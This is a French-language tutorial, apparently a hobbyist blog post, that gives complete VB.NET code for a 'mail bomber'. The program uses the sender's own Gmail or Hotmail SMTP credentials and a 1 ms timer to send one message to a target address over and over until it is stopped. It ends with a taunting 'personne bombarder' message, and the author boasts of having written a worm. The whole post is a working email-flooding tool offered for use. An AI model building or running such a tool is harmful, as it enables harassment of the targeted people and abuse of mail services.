Le VB langage rapide a appendre car facile a comprendre, vous permetras de créer un navigateur web, bloc-note ou tout un tas de programmes et le tous, personnalisable a souhait, après certains vous dirons qu'il ne fut pas commencer par ces styles de langage, Je ne rentre pas dans ce genre de discutions, je c'est que le VB reste un langage bien plus intéressent qu'il n'y parait. J' ai créer mon premier worm en VB...
Outil nécessaires:
- 8 label
- 1 groupbox
- 6 textbox
- 1 combobox
- 2 bouton
- 1 timer
1) ouvrir VB 2008 ; fichier ; nouveau projet ; windows form !
2) Voila vous choiziser la taille de votre mail bomber et vous choisiser l'image de fond ,
ou bien vous pouvez metre la couleur noir et metre opaciter a 90 % sa fera un beau designe !
3) Coter designe !!
label1 = votre email : + Metre la textbox1 a coter du label1
label2 = mot de pass email : + Metre la textbox2 a coter du label2
label3 = Smtp server : + Metre la Combobox1 a coter du label3
label4 = Smtp port : + Metre la textbox6 a coter du label4
label5 = Email personne : + Metre la textbox3 a coter du label5
label6 = Sujet : + Metre la textbox4 a coter du label6
label7 = Message : + Metre la textbox5 en dessou du label7
label8 = Email envoyer : 0
Groupbox1 = personne
button1 = start
button2 = stop
timer1 = ( interval 1 )
*** Voila on va passer au code mintennan ***
4) Ajouter tout en haut au dessu de ( Public Class Form1 ) o dessu mettai: Imports System.Net.Mail
Double clik
*** pour le timer1 ***
Dim smtpserver As New SmtpClient()
Dim mail As New MailMessage()
smtpserver.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
smtpserver.Host = ComboBox1.Text
smtpserver.Port = TextBox6.Text
mail = New MailMessage
mail.From = New MailAddress(TextBox1.Text)
mail.To.Add(TextBox3.Text)
mail.Subject = TextBox4.Text
mail.Body = TextBox5.Text
smtpserver.EnableSsl = True
Try
smtpserver.Send(mail)
Catch ex As Exception
MsgBox("Quelque chose ne vas pas dans vos information mot de pass ou email incorecte")
Timer1.Stop()
Label8.Text = 0
End Try
Label8.Text = Label8.Text + 1
*** pour le button1 ***
Timer1.Start()
Label8.Text = 0
*** pour le button2 ***
Timer1.Stop()
Label8.Text = 0
MsgBox("personne bombarder par hackbydano")
**************************************************************
Dans la combox pour ajouter les option :
smtp.live.com
ou
smtp.gmail.com
Il sufit de cliker une fois sur la combobox et de aller sur item ey vous meter les info ci dessous !!
smtp.live.com
smtp.gmail.com
Articles
